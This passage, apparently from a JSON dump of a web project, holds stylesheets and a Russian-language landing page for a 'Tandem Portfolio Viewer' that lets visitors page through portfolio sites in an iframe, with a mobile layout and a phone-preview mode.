translateY(var(--panel-enter-y));\n        filter: blur(6px);\n    }\n    to {\n        opacity: 1;\n        transform: translateY(0);\n        filter: blur(0px);\n    }\n}\n\n#panel.panel--ready {\n    animation: panel-entry 0.42s cubic-bezier(0.22, 1, 0.36, 1) forwards;\n}\n\n/* Logo */\n#panel-logo {\n    display: flex;\n    align-items: center;\n    gap: 9px;\n    flex-shrink: 0;\n    text-decoration: none;\n    user-select: none;\n}\n\n#panel-logo svg {\n    width: 28px;\n    height: 28px;\n    flex-shrink: 0;\n}\n\n#panel-logo span {\n    font-size: 14px;\n    font-weight: 700;\n    letter-spacing: 0.02em;\n    color: var(--text-primary);\n    white-space: nowrap;\n}\n\n#panel-logo em {\n    font-style: normal;\n    color: var(--accent);\n}\n\n/* Divider */\n.panel-divider {\n    width: 1px;\n    height: 28px;\n    background: var(--panel-border);\n    flex-shrink: 0;\n}\n\n/* Nav group: Назад + Далее рядом */\n.nav-group {\n    display: flex;\n    align-items: center;\n    flex-shrink: 0;\n    border: 1px solid var(--panel-border);\n    border-radius: var(--radius);\n    overflow: hidden;\n}\n\n.nav-group .nav-btn {\n    border: none;\n    border-radius: 0;\n}\n\n.nav-group .nav-btn:first-child {\n    border-right: 1px solid var(--panel-border);\n}\n\n.nav-group .nav-btn:first-child:hover:not(:disabled) {\n    border-right-color: var(--panel-border);\n}\n\n/* Nav buttons */\n.nav-btn {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    gap: 7px;\n    padding: 0 16px;\n    height: 38px;\n    border: 1px solid var(--panel-border);\n    border-radius: var(--radius);\n    background: transparent;\n    color: var(--text-primary);\n    font-size: 13px;\n    font-weight: 500;\n    cursor: pointer;\n    transition:\n        background var(--transition),\n        border-color var(--transition),\n        color var(--transition);\n    white-space: nowrap;\n    flex-shrink: 0;\n}\n\n.nav-btn:hover:not(:disabled) {\n    background: var(--btn-hover);\n    border-color: var(--accent);\n    color: #c4b9ff;\n}\n\n.nav-btn:active:not(:disabled) {\n    transform: scale(0.96);\n}\n\n.nav-btn:disabled {\n    opacity: 0.28;\n    cursor: default;\n}\n\n.nav-btn svg {\n    width: 15px;\n    height: 15px;\n    flex-shrink: 0;\n}\n\n/* Site info */\n#site-info {\n    display: flex;\n    flex-direction: column;\n    justify-content: center;\n    gap: 2px;\n    min-width: 0;\n    flex-shrink: 1;\n}\n\n#site-title {\n    font-size: 13.5px;\n    font-weight: 600;\n    color: var(--text-primary);\n    white-space: nowrap;\n    overflow: hidden;\n    text-overflow: ellipsis;\n    max-width: 100%;\n    line-height: 1.2;\n}\n\n#site-meta {\n    display: flex;\n    align-items: center;\n    gap: 7px;\n}\n\n#site-description {\n    font-size: 11px;\n    color: var(--text-muted);\n    white-space: nowrap;\n    overflow: hidden;\n    text-overflow: ellipsis;\n    line-height: 1.2;\n}\n\n#site-counter {\n    font-size: 10.5px;\n    color: var(--accent);\n    font-weight: 600;\n    background: rgba(124, 110, 245, 0.12);\n    padding: 1px 7px;\n    border-radius: 20px;\n    flex-shrink: 0;\n    white-space: nowrap;\n    line-height: 1.6;\n}\n\n/* ─── CUSTOM DROPDOWN ─────────────────────────────────── */\n\n#site-select-wrap {\n    position: relative;\n    flex-shrink: 0;\n}\n\n#select-trigger {\n    display: flex;\n    align-items: center;\n    gap: 8px;\n    padding: 0 12px 0 14px;\n    height: 38px;\n    width: 300px;\n    flex-shrink: 0;\n    background: rgba(255, 255, 255, 0.05);\n    border: 1px solid var(--panel-border);\n    border-radius: var(--radius);\n    color: var(--text-primary);\n    font-size: 12.5px;\n    font-family: inherit;\n    font-weight: 500;\n    cursor: pointer;\n    transition:\n        border-color var(--transition),\n        background var(--transition);\n    white-space: nowrap;\n    overflow: hidden;\n}\n\n#select-trigger:hover,\n#select-trigger.active {\n    border-color: var(--accent);\n    background: rgba(124, 110, 245, 0.1);\n    outline: none;\n}\n\n#select-label {\n    flex: 1;\n    min-width: 0;\n    overflow: hidden;\n    text-overflow: ellipsis;\n    white-space: nowrap;\n    text-align: left;\n}\n\n.select-arrow {\n    width: 14px;\n    height: 14px;\n    flex-shrink: 0;\n    color: var(--text-muted);\n    transition: transform var(--transition);\n}\n\n#select-trigger.active .select-arrow {\n    transform: rotate(180deg);\n}\n\n#site-dropdown {\n    display: none;\n    position: absolute;\n    top: calc(100% + 6px);\n    left: 0;\n    min-width: 260px;\n    background: #13131f;\n    border: 1px solid rgba(124, 110, 245, 0.25);\n    border-radius: var(--radius);\n    box-shadow: 0 12px 40px rgba(0, 0, 0, 0.55);\n    z-index: 9999;\n    overflow-x: hidden;\n    overflow-y: auto;\n    max-height: 308px; /* ~6 элементов; 7+ → скролл */\n    padding: 4px;\n    scrollbar-width: thin;\n    scrollbar-color: rgba(124, 110, 245, 0.35) transparent;\n}\n\n#site-dropdown::-webkit-scrollbar {\n    width: 4px;\n}\n\n#site-dropdown::-webkit-scrollbar-track {\n    background: transparent;\n    margin: 4px 0;\n}\n\n#site-dropdown::-webkit-scrollbar-thumb {\n    background: rgba(124, 110, 245, 0.35);\n    border-radius: 99px;\n}\n\n#site-dropdown::-webkit-scrollbar-thumb:hover {\n    background: rgba(124, 110, 245, 0.65);\n}\n\n#site-dropdown.open {\n    display: block;\n    animation: dropdownIn 0.18s cubic-bezier(0.4, 0, 0.2, 1) forwards;\n}\n\n@keyframes dropdownIn {\n    from {\n        opacity: 0;\n        transform: translateY(-6px);\n    }\n    to {\n        opacity: 1;\n        transform: translateY(0);\n    }\n}\n\n.dropdown-item {\n    display: flex;\n    flex-direction: row;\n    align-items: center;\n    gap: 10px;\n    padding: 9px 12px;\n    border-radius: 7px;\n    cursor: pointer;\n    transition: background var(--transition);\n}\n\n.dropdown-item:hover {\n    background: rgba(124, 110, 245, 0.12);\n}\n\n.dropdown-item.active {\n    background: rgba(124, 110, 245, 0.18);\n}\n\n.dropdown-item.active .di-title {\n    color: #c4b9ff;\n}\n\n.dropdown-item.active .di-num {\n    background: rgba(124, 110, 245, 0.32);\n    border-color: rgba(124, 110, 245, 0.65);\n    color: #c4b9ff;\n}\n\n.di-num {\n    display: inline-flex;\n    align-items: center;\n    justify-content: center;\n    width: 26px;\n    height: 26px;\n    padding: 0;\n    border-radius: 6px;\n    background: rgba(124, 110, 245, 0.16);\n    border: 1px solid rgba(124, 110, 245, 0.32);\n    color: var(--accent);\n    font-size: 11.5px;\n    font-weight: 700;\n    font-variant-numeric: tabular-nums;\n    flex-shrink: 0;\n    line-height: 1;\n}\n\n.di-num--home {\n    background: rgba(255, 255, 255, 0.06);\n    border-color: rgba(255, 255, 255, 0.14);\n    color: var(--text-muted);\n}\n\n.di-text {\n    display: flex;\n    flex-direction: column;\n    gap: 2px;\n    min-width: 0;\n}\n\n.di-title {\n    font-size: 13px;\n    font-weight: 600;\n    color: var(--text-primary);\n    white-space: nowrap;\n    overflow: hidden;\n    text-overflow: ellipsis;\n}\n\n.di-desc {\n    font-size: 11.5px;\n    color: var(--text-muted);\n    white-space: nowrap;\n    overflow: hidden;\n    text-overflow: ellipsis;\n}\n\n/* Actions group: открыть + скопировать */\n.panel-actions {\n    display: flex;\n    align-items: center;\n    gap: 6px;\n    margin-left: auto;\n    flex-shrink: 0;\n}\n\n#phone-toggle,\n#open-btn,\n#copy-btn {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    width: 38px;\n    height: 38px;\n    border: 1px solid var(--panel-border);\n    border-radius: var(--radius);\n    background: transparent;\n    color: var(--text-muted);\n    cursor: pointer;\n    transition:\n        background var(--transition),\n        border-color var(--transition),\n        color var(--transition);\n    flex-shrink: 0;\n    text-decoration: none;\n    font-family: inherit;\n    padding: 0;\n}\n\n#phone-toggle:hover,\n#open-btn:hover,\n#copy-btn:hover {\n    background: var(--btn-hover);\n    border-color: var(--accent);\n    color: #c4b9ff;\n}\n\n#phone-toggle svg,\n#open-btn svg,\n#copy-btn svg {\n    width: 15px;\n    height: 15px;\n}\n\n/* Недоступные кнопки на главной */\n#phone-toggle.disabled,\n#open-btn.disabled,\n#copy-btn.disabled {\n    opacity: 0.28;\n    cursor: default;\n}\n\n#phone-toggle.disabled:hover,\n#open-btn.disabled:hover,\n#copy-btn.disabled:hover {\n    background: transparent;\n    border-color: var(--panel-border);\n    color: var(--text-muted);\n}\n\n/* Состояние \"Скопировано\" */\n#copy-btn .icon-check {\n    display: none;\n}\n\n#copy-btn.copied {\n    border-color: rgba(74, 222, 128, 0.45);\n    color: #4ade80;\n    background: rgba(74, 222, 128, 0.08);\n}\n\n#copy-btn.copied .icon-copy {\n    display: none;\n}\n#copy-btn.copied .icon-check {\n    display: block;\n}\n\n.actions-divider {\n    width: 1px;\n    height: 20px;\n    background: var(--panel-border);\n    flex-shrink: 0;\n    margin: 0 2px;\n}\n\n/* ─── CUSTOM TOOLTIP ──────────────────────────────────── */\n\n#tip {\n    position: fixed;\n    transform: translateX(-50%);\n    background: rgba(14, 14, 26, 0.96);\n    border: 1px solid rgba(255, 255, 255, 0.1);\n    box-shadow:\n        0 8px 32px rgba(0, 0, 0, 0.55),\n        0 0 0 1px rgba(124, 110, 245, 0.08);\n    color: var(--text-primary);\n    font-size: 12px;\n    font-weight: 500;\n    letter-spacing: 0.01em;\n    padding: 6px 11px;\n    border-radius: 8px;\n    pointer-events: none;\n    white-space: nowrap;\n    z-index: 9999;\n    opacity: 0;\n    translate: 0 -4px;\n    transition:\n        opacity 0.18s ease,\n        translate 0.18s ease;\n    backdrop-filter: blur(8px);\n    -webkit-backdrop-filter: blur(8px);\n}\n\n#tip.visible {\n    opacity: 1;\n    translate: 0 0;\n}\n\n/* ─── FRAME PLACEHOLDER ───────────────────────────────── */\n\n#frame-placeholder {\n    display: none;\n}\n\n/* ─── IFRAME ──────────────────────────────────────────── */\n\n#viewer-frame {\n    position: fixed;\n    top: var(--panel-h);\n    left: 0;\n    bottom: 0;\n    width: 100%;\n    height: calc(100vh - var(--panel-h));\n    border: none;\n    outline: none;\n    background: #0b0b14;\n    z-index: 1;\n    cursor: default;\n    user-select: none;\n    -webkit-user-select: none;\n    transition:\n        opacity 0.28s ease,\n        width 0.38s cubic-bezier(0.4, 0, 0.2, 1),\n        height 0.38s cubic-bezier(0.4, 0, 0.2, 1),\n        left 0.38s cubic-bezier(0.4, 0, 0.2, 1),\n        top 0.38s cubic-bezier(0.4, 0, 0.2, 1),\n        transform 0.38s cubic-bezier(0.4, 0, 0.2, 1),\n        border-radius 0.38s cubic-bezier(0.4, 0, 0.2, 1),\n        box-shadow 0.38s cubic-bezier(0.4, 0, 0.2, 1);\n}\n\n#viewer-frame.loading {\n    opacity: 0;\n}\n\n#viewer-frame:focus,\n#viewer-frame:focus-visible {\n    outline: none;\n}\n\n/* ─── LOADER OVERLAY ──────────────────────────────────── */\n\n#loader {\n    position: fixed;\n    top: var(--panel-h);\n    left: 0;\n    right: 0;\n    bottom: 0;\n    background: #0b0b14;\n    display: flex;\n    flex-direction: column;\n    align-items: center;\n    justify-content: center;\n    gap: 18px;\n    z-index: 100;\n    transition: opacity 0.3s ease;\n}\n\n#loader.hidden {\n    opacity: 0;\n    pointer-events: none;\n}\n\n.loader-progress-wrap {\n    width: 260px;\n    height: 3px;\n    background: rgba(124, 110, 245, 0.15);\n    border-radius: 99px;\n    overflow: hidden;\n}\n\n.loader-progress-bar {\n    height: 100%;\n    width: 0%;\n    background: linear-gradient(90deg, var(--accent), #a89cf7);\n    border-radius: 99px;\n    box-shadow: 0 0 10px rgba(124, 110, 245, 0.6);\n    transition: width 0.4s ease;\n}\n\n.loader-text {\n    font-size: 13px;\n    color: var(--text-muted);\n    letter-spacing: 0.03em;\n    margin-top: 14px;\n}\n\n/* ─── SLIDE TRANSITION ────────────────────────────────── */\n\n@keyframes fadeSlideIn {\n    from {\n        opacity: 0;\n        transform: translateY(6px);\n    }\n    to {\n        opacity: 1;\n        transform: translateY(0);\n    }\n}\n\n.info-animate {\n    animation: fadeSlideIn 0.25s ease forwards;\n}\n\n/* ─── RESPONSIVE ──────────────────────────────────────── */\n\n@media (max-width: 680px) {\n    :root {\n        --panel-h: 56px;\n        --panel-enter-y: 10px;\n    }\n\n    #panel {\n        gap: 8px;\n        padding: 0 12px;\n    }\n\n    #panel-logo span {\n        display: none;\n    }\n\n    #site-description {\n        display: none;\n    }\n\n    #site-info {\n        display: none;\n    }\n\n    #site-select-wrap {\n        flex: 1;\n        min-width: 0;\n    }\n\n    #select-trigger {\n        width: 100%;\n        min-width: 0;\n    }\n\n    .nav-btn span {\n        display: none;\n    }\n\n    .nav-btn {\n        padding: 0 11px;\n    }\n\n    #site-dropdown {\n        position: fixed;\n        top: var(--panel-h);\n        left: 8px;\n        right: 8px;\n        min-width: unset;\n        width: auto;\n        max-height: calc(100dvh - var(--panel-h) - 16px);\n        overflow-y: auto;\n        -webkit-overflow-scrolling: touch;\n        overscroll-behavior: contain;\n    }\n\n    .di-title,\n    .di-desc {\n        white-space: normal;\n        overflow: visible;\n        text-overflow: unset;\n    }\n\n    /* Скрываем panel-actions — на мобиле их заменяет #mobile-actions-btn */\n    .panel-actions {\n        display: none;\n    }\n\n    /* ── ПАНЕЛЬ ПЕРЕМЕЩАЕТСЯ ВНИЗ ── */\n\n    #panel {\n        top: auto;\n        bottom: 0;\n        /* Тень направлена вверх */\n        box-shadow:\n            0 -1px 0 0 rgba(255, 255, 255, 0.04),\n            0 -6px 32px rgba(0, 0, 0, 0.5),\n            0 -12px 48px rgba(0, 0, 0, 0.28);\n    }\n\n    /* Градиентная линия — теперь над панелью */\n    #panel::after {\n        bottom: auto;\n        top: -2px;\n    }\n\n    /* Фрейм: полностью от 0 до нижней панели */\n    #viewer-frame {\n        top: 0;\n        bottom: var(--panel-h);\n        height: calc(100dvh - var(--panel-h));\n    }\n\n    /* Оверлей загрузки: тоже занимает свободное пространство над фреймом */\n    #loader {\n        top: 0;\n        bottom: var(--panel-h);\n    }\n\n    /* Дропдаун открывается вверх */\n    #site-dropdown {\n        top: auto;\n        bottom: calc(var(--panel-h) + 6px);\n    }\n}\n\n@media (max-width: 420px) {\n    #select-trigger {\n        font-size: 11px;\n    }\n}\n"
  },
  {
    "path": "legacy_tandem/viewer/app/styles/default.css",
    "content": "﻿/* ================================================\n   Tandem Portfolio Viewer — Engine v1.0\n   app/styles/default.css\n   — Entry point: imports all style modules\n   ================================================ */\n\n@import url(\"default.app-base.css\");\n@import url(\"default.app-viewer.css\");\n@import url(\"default.app-viewer-mobile.css\");\n@import url(\"default.app-viewer-no-toolbox.css\");\n@import url(\"default.app-modal-dialogs.css\");\n"
  },
  {
    "path": "legacy_tandem/viewer/home/index.html",
    "content": "﻿<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <title>Tandem Portfolio Viewer</title>\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link href=\"https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=Patrick+Hand&display=swap\" rel=\"stylesheet\" />\n    <style>\n        *,\n        *::before,\n        *::after {\n            box-sizing: border-box;\n            margin: 0;\n            padding: 0;\n            -webkit-tap-highlight-color: transparent;\n        }\n\n        :root {\n            --accent: #7c6ef5;\n            --accent2: #a89cf7;\n            --bg: #0b0b14;\n            --text: #ffffff;\n            --muted: rgba(255, 255, 255, 0.45);\n            --card-bg: rgba(255, 255, 255, 0.03);\n            --card-border: rgba(255, 255, 255, 0.07);\n        }\n\n        html,\n        body {\n            height: 100%;\n            background: var(--bg);\n            color: var(--text);\n            font-family: 'Inter', system-ui, sans-serif;\n            overflow-x: hidden;\n            /* прячем scrollbar на десктопе */\n            scrollbar-width: none;\n            -ms-overflow-style: none;\n        }\n\n        html::-webkit-scrollbar,\n        body::-webkit-scrollbar {\n            display: none;\n        }\n\n        ::selection {\n            background: rgba(124, 110, 245, 0.38);\n            color: #fff;\n        }\n\n        /* ── BG ── */\n        @keyframes glow-drift {\n\n            0%,\n            100% {\n                transform: translate(0, 0) scale(1);\n            }\n\n            30% {\n                transform: translate(1.8%, 1.2%) scale(1.025);\n            }\n\n            65% {\n                transform: translate(-1.2%, 2%) scale(0.98);\n            }\n        }\n\n        @keyframes grid-drift {\n\n            0%,\n            100% {\n                background-position: 0 0;\n            }\n\n            50% {\n                background-position: 6px 4px;\n            }\n        }\n\n        .bg-glow {\n            position: fixed;\n            inset: 0;\n            pointer-events: none;\n            background:\n                radial-gradient(ellipse 70% 60% at 50% 35%, rgba(124, 110, 245, .17) 0%, transparent 65%),\n                radial-gradient(ellipse 40% 35% at 80% 75%, rgba(100, 80, 220, .08) 0%, transparent 60%);\n            animation: glow-drift 20s ease-in-out infinite;\n        }\n\n        .bg-grid {\n            position: fixed;\n            inset: 0;\n            pointer-events: none;\n            background-image:\n                linear-gradient(rgba(124, 110, 245, .045) 1px, transparent 1px),\n                linear-gradient(90deg, rgba(124, 110, 245, .045) 1px, transparent 1px);\n            background-size: 48px 48px;\n            mask-image: radial-gradient(ellipse 85% 85% at 50% 50%, black 25%, transparent 75%);\n            animation: grid-drift 28s ease-in-out infinite;\n        }\n\n        /* ── ENTRANCE ANIMATIONS ── */\n        @keyframes fade-up {\n            from {\n                opacity: 0;\n                transform: translateY(22px);\n            }\n\n            to {\n                opacity: 1;\n                transform: translateY(0);\n            }\n        }\n\n        @keyframes logo-float {\n\n            0%,\n            100% {\n                transform: translateY(0px);\n            }\n\n            50% {\n                transform: translateY(-5px);\n            }\n        }\n\n        @keyframes pulse {\n\n            0%,\n            100% {\n                opacity: 1;\n                transform: scale(1);\n            }\n\n            50% {\n                opacity: 0.5;\n                transform: scale(0.8);\n            }\n        }\n\n        .a1 {\n            animation: fade-up .6s ease both;\n        }\n\n        .a2 {\n            animation: fade-up .6s .12s ease both;\n        }\n\n        .a3 {\n            animation: fade-up .6s .22s ease both;\n        }\n\n        .a4 {\n            animation: fade-up .6s .34s ease both;\n        }\n\n        .a5 {\n            animation: fade-up .6s .44s ease both;\n        }\n\n        /* ── LAYOUT ── */\n        .page {\n            min-height: 100vh;\n            display: flex;\n            flex-direction: column;\n            align-items: center;\n            justify-content: center;\n            padding: 56px 24px 64px;\n            position: relative;\n            text-align: center;\n        }\n\n        /* ── HEADING ── */\n        h1 {\n            font-size: clamp(42px, 7vw, 72px);\n            font-weight: 700;\n            letter-spacing: -0.03em;\n            line-height: 1.05;\n            margin-bottom: 6px;\n        }\n\n        h1 em {\n            font-style: normal;\n            background: linear-gradient(135deg, var(--accent2) 0%, #c4b5fd 100%);\n            -webkit-background-clip: text;\n            -webkit-text-fill-color: transparent;\n            background-clip: text;\n        }\n\n        .eyebrow {\n            font-size: 11px;\n            font-weight: 600;\n            letter-spacing: .18em;\n            color: rgba(168, 156, 247, .55);\n            text-transform: uppercase;\n            margin-bottom: 14px;\n        }\n\n        .subtitle {\n            font-size: clamp(14px, 2vw, 15.5px);\n            color: var(--muted);\n            max-width: 440px;\n            line-height: 1.75;\n            margin: 16px auto 48px;\n        }\n\n        /* ── STATS STRIP ── */\n        .stats-strip {\n            display: inline-flex;\n            align-items: center;\n            gap: 0;\n            background: rgba(255, 255, 255, .03);\n            border: 1px solid var(--card-border);\n            border-radius: 99px;\n            overflow: hidden;\n            margin-bottom: 48px;\n        }\n\n        .stat-item {\n            display: flex;\n            align-items: center;\n            gap: 7px;\n            padding: 7px 16px;\n            font-size: 11.5px;\n            color: var(--muted);\n            font-weight: 500;\n            border-right: 1px solid var(--card-border);\n        }\n\n        .stat-item:last-child {\n            border-right: none;\n        }\n\n        .stat-dot {\n            width: 5px;\n            height: 5px;\n            border-radius: 50%;\n            background: var(--accent);\n            box-shadow: 0 0 5px var(--accent);\n            animation: pulse 2s ease-in-out infinite;\n        }\n\n        /* ── CARDS ── */\n        .cards {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 14px;\n            width: 100%;\n            max-width: 780px;\n            margin-bottom: 48px;\n        }\n\n        .card {\n            background: var(--card-bg);\n            border: 1px solid var(--card-border);\n            border-radius: 16px;\n            padding: 24px 20px;\n            text-align: left;\n            transition: background .25s, border-color .25s, transform .25s;\n            cursor: default;\n        }\n\n        .card:hover {\n            background: rgba(124, 110, 245, .07);\n            border-color: rgba(124, 110, 245, .22);\n            transform: translateY(-4px);\n        }\n\n        .card-icon {\n            width: 36px;\n            height: 36px;\n            border-radius: 10px;\n            background: rgba(124, 110, 245, .13);\n            border: 1px solid rgba(124, 110, 245, .15);\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            margin-bottom: 16px;\n            transition: background .25s, border-color .25s;\n        }\n\n        .card:hover .card-icon {\n            background: rgba(124, 110, 245, .2);\n            border-color: rgba(124, 110, 245, .28);\n        }\n\n        .card-icon svg {\n            width: 16px;\n            height: 16px;\n            color: var(--accent2);\n        }\n\n        .card h3 {\n            font-size: 13px;\n            font-weight: 600;\n            margin-bottom: 7px;\n            color: var(--text);\n        }\n\n        .card p {\n            font-size: 11.5px;\n            color: var(--muted);\n            line-height: 1.6;\n        }\n\n        /* Варианты текста и карточек — скрыты по умолчанию (ПК) */\n        .card--mobile-only {\n            display: none;\n        }\n\n        .subtitle--mobile {\n            display: none;\n        }\n\n        .text--mobile {\n            display: none;\n        }\n\n        /* ── HINT ── */\n        .hint {\n            display: flex;\n            align-items: center;\n            gap: 10px;\n            padding: 11px 20px;\n            background: rgba(255, 255, 255, .025);\n            border: 1px solid var(--card-border);\n            border-radius: 10px;\n            font-size: 12px;\n            color: rgba(255, 255, 255, .3);\n        }\n\n        .hint kbd {\n            display: inline-flex;\n            align-items: center;\n            justify-content: center;\n            padding: 2px 9px;\n            background: rgba(255, 255, 255, .07);\n            border: 1px solid rgba(255, 255, 255, .1);\n            border-radius: 5px;\n            font-family: inherit;\n            font-size: 11px;\n            color: rgba(255, 255, 255, .6);\n            font-weight: 500;\n        }\n\n        /* ── FOOTER ── */\n        .foot {\n            position: absolute;\n            bottom: 20px;\n            left: 0;\n            right: 0;\n            text-align: center;\n            font-size: 11px;\n            color: rgba(255, 255, 255, .15);\n            letter-spacing: .04em;\n        }\n\n        .foot em {\n            font-style: normal;\n            color: rgba(124, 110, 245, .5);\n        }\n\n        /* ── PANEL ARROW ── */\n        .panel-hint {\n            position: fixed;\n            top: 0;\n            left: 563px;\n            transform: translateX(-50%);\n            display: flex;\n            flex-direction: column;\n            align-items: center;\n            pointer-events: none;\n            z-index: 10;\n        }\n\n        /* Мобильная стрелка — скрыта по умолчанию */\n        .panel-hint--mobile {\n            display: none;\n        }\n\n        .panel-hint-label {\n            font-size: 19px;\n            font-weight: 400;\n            color: rgba(124, 110, 245, .65);\n            white-space: nowrap;\n            margin-top: 4px;\n            font-family: 'Patrick Hand', cursive;\n            line-height: 1;\n        }\n\n        .panel-arrow-svg {\n            width: 44px;\n            display: block;\n        }\n\n        /* ── Скрываем верхнюю стрелку на узких экранах ── */\n        @media (max-width: 900px) {\n            .panel-hint:not(.panel-hint--mobile) {\n                display: none;\n            }\n        }\n\n        /* ── Мобайл (панель снизу) ── */\n        @media (max-width: 680px) {\n            .cards {\n                grid-template-columns: 1fr;\n                max-width: 100%;\n            }\n\n            .hint {\n                display: none;\n            }\n\n            .subtitle {\n                margin-bottom: 32px;\n            }\n\n            /* Переключаем ПК ↔ мобильные варианты */\n            .card--pc-only {\n                display: none;\n            }\n\n            .card--mobile-only {\n                display: block;\n            }\n\n            .subtitle--pc {\n                display: none;\n            }\n\n            .subtitle--mobile {\n                display: block;\n            }\n\n            .text--pc {\n                display: none;\n            }\n\n            .text--mobile {\n                display: block;\n            }\n\n            /* Страница растёт по контенту */\n            html,\n            body {\n                height: auto;\n                overflow-y: auto;\n            }\n\n            .page {\n                min-height: auto;\n                justify-content: flex-start;\n                padding-top: 48px;\n                /* нижний паддинг = высота панели (56px) + отступ */\n                padding-bottom: calc(56px + 32px);\n            }\n\n            .foot {\n                position: relative;\n                bottom: auto;\n                left: auto;\n                right: auto;\n                margin-top: 28px;\n            }\n\n            /* Нижняя стрелка — скрыта */\n            .panel-hint--mobile {\n                display: none;\n            }\n        }\n    </style>\n</head>\n\n<body>\n\n    <div class=\"bg-glow\"></div>\n    <div class=\"bg-grid\"></div>\n\n    <!-- Стрелка ↑ на «Далее» (десктоп) -->\n    <div class=\"panel-hint\">\n        <svg class=\"panel-arrow-svg\" viewBox=\"0 0 44 82\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n            <!-- Тело — дуга с арроухедом по центру (x=22) -->\n            <path d=\"M30 78 C34 58, 12 44, 22 8\" stroke=\"rgba(124,110,245,0.6)\" stroke-width=\"2\" stroke-linecap=\"round\" fill=\"none\" />\n            <!-- Наконечник — симметричный ротносительно x=22 -->\n            <path d=\"M22 8 L14 17\" stroke=\"rgba(124,110,245,0.6)\" stroke-width=\"2\" stroke-linecap=\"round\" />\n            <path d=\"M22 8 L30 17\" stroke=\"rgba(124,110,245,0.6)\" stroke-width=\"2\" stroke-linecap=\"round\" />\n        </svg>\n        <span class=\"panel-hint-label\">нажми «Далее»</span>\n    </div>\n\n    <!-- Стрелка ↓ на «Далее» (мобайл, панель снизу) -->\n    <div class=\"panel-hint panel-hint--mobile\">\n        <svg class=\"panel-arrow-svg\" viewBox=\"0 0 44 82\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n            <path d=\"M14 4 C10 24, 32 38, 22 74\" stroke=\"rgba(124,110,245,0.6)\" stroke-width=\"2\" stroke-linecap=\"round\" fill=\"none\" />\n            <path d=\"M22 74 L14 65\" stroke=\"rgba(124,110,245,0.6)\" stroke-width=\"2\" stroke-linecap=\"round\" />\n            <path d=\"M22 74 L30 65\" stroke=\"rgba(124,110,245,0.6)\" stroke-width=\"2\" stroke-linecap=\"round\" />\n        </svg>\n        <span class=\"panel-hint-label\">нажми «Далее»</span>\n    </div>\n\n    <div class=\"page\">\n\n\n\n        <p class=\"eyebrow a1\">Интерактивный просмотрщик портфолио</p>\n        <h1 class=\"a2\">Tandem <em>Portfolio</em></h1>\n\n        <p class=\"subtitle subtitle--pc a3\">\n            Листайте проекты кнопками навигации, выбирайте из списка или используйте стрелки клавиатуры. Режим смартфона — вверху справа.\n        </p>\n        <p class=\"subtitle subtitle--mobile a3\">\n            Листайте проекты кнопками навигации внизу экрана или выбирайте из выпадающего списка.\n        </p>\n\n        <!--\n        <div class=\"stats-strip a4\">\n             <div class=\"stat-item\">\n                <span class=\"stat-dot\"></span>\n                1\n            </div>\n            <div class=\"stat-item\">2</div>\n            <div class=\"stat-item\">3</div> \n        </div>-->\n\n        <div class=\"cards a4\">\n            <div class=\"card\">\n                <div class=\"card-icon\">\n                    <svg viewBox=\"0 0 20 20\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.7\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                        <path d=\"M3 10h14M10 3l7 7-7 7\" />\n                    </svg>\n                </div>\n                <h3>Листайте проекты</h3>\n                <p class=\"text--pc\">Кнопки «Назад» и «Далее», стрелки клавиатуры ← → или выпадающий список в панели управления.</p>\n                <p class=\"text--mobile\">Кнопки «Назад» и «Далее» находятся в панели управления внизу экрана.</p>\n            </div>\n            <div class=\"card\">\n                <div class=\"card-icon\">\n                    <svg viewBox=\"0 0 20 20\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.7\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                        <path d=\"M5 6h10M5 10h7M5 14h9\" />\n                    </svg>\n                </div>\n                <h3>Выбирайте из списка</h3>\n                <p>Выпадающее меню с названием и описанием каждого проекта. Скопируйте ссылку и поделитесь с клиентом.</p>\n            </div>\n            <!-- ПК: приглашение включить режим смартфона -->\n            <div class=\"card card--pc-only\">\n                <div class=\"card-icon\">\n                    <svg viewBox=\"0 0 20 20\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.7\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                        <rect x=\"6\" y=\"2\" width=\"8\" height=\"16\" rx=\"2\" />\n                        <path d=\"M9 15h2\" />\n                    </svg>\n                </div>\n                <h3>Тестируйте на телефоне</h3>\n                <p>Переключитесь в режим смартфона — сайт откроется в макете телефона. Кнопка вверху справа в панели.</p>\n            </div>\n            <!-- Мобайл: объяснение, что режим смартфона — фича ПК -->\n            <div class=\"card card--mobile-only\">\n                <div class=\"card-icon\" style=\"background:rgba(255,255,255,.05);border-color:rgba(255,255,255,.1)\">\n                    <svg viewBox=\"0 0 20 20\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.7\" stroke-linecap=\"round\" stroke-linejoin=\"round\" style=\"color:rgba(255,255,255,.25)\">\n                        <rect x=\"2\" y=\"4\" width=\"16\" height=\"12\" rx=\"2\" />\n                        <path d=\"M8 16h4M10 16v2\" />\n                    </svg>\n                </div>\n                <h3 style=\"color:rgba(255,255,255,.5)\">Режим смартфона</h3>\n                <p>Эта функция доступна в компьютерной версии — позволяет тестировать сайты в макете телефона прямо в браузере.</p>\n            </div>\n        </div>\n\n        <div class=\"hint a5\">\n            Клавиатура:&nbsp;\n            <kbd>←</kbd> предыдущий &nbsp;·&nbsp; <kbd>→</kbd> следующий\n        </div>\n\n        <div class=\"foot\">\n            © 2026 <em>Tandem Sites</em>\n        </div>\n\n    </div>\n\n\n\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/index.db.js",
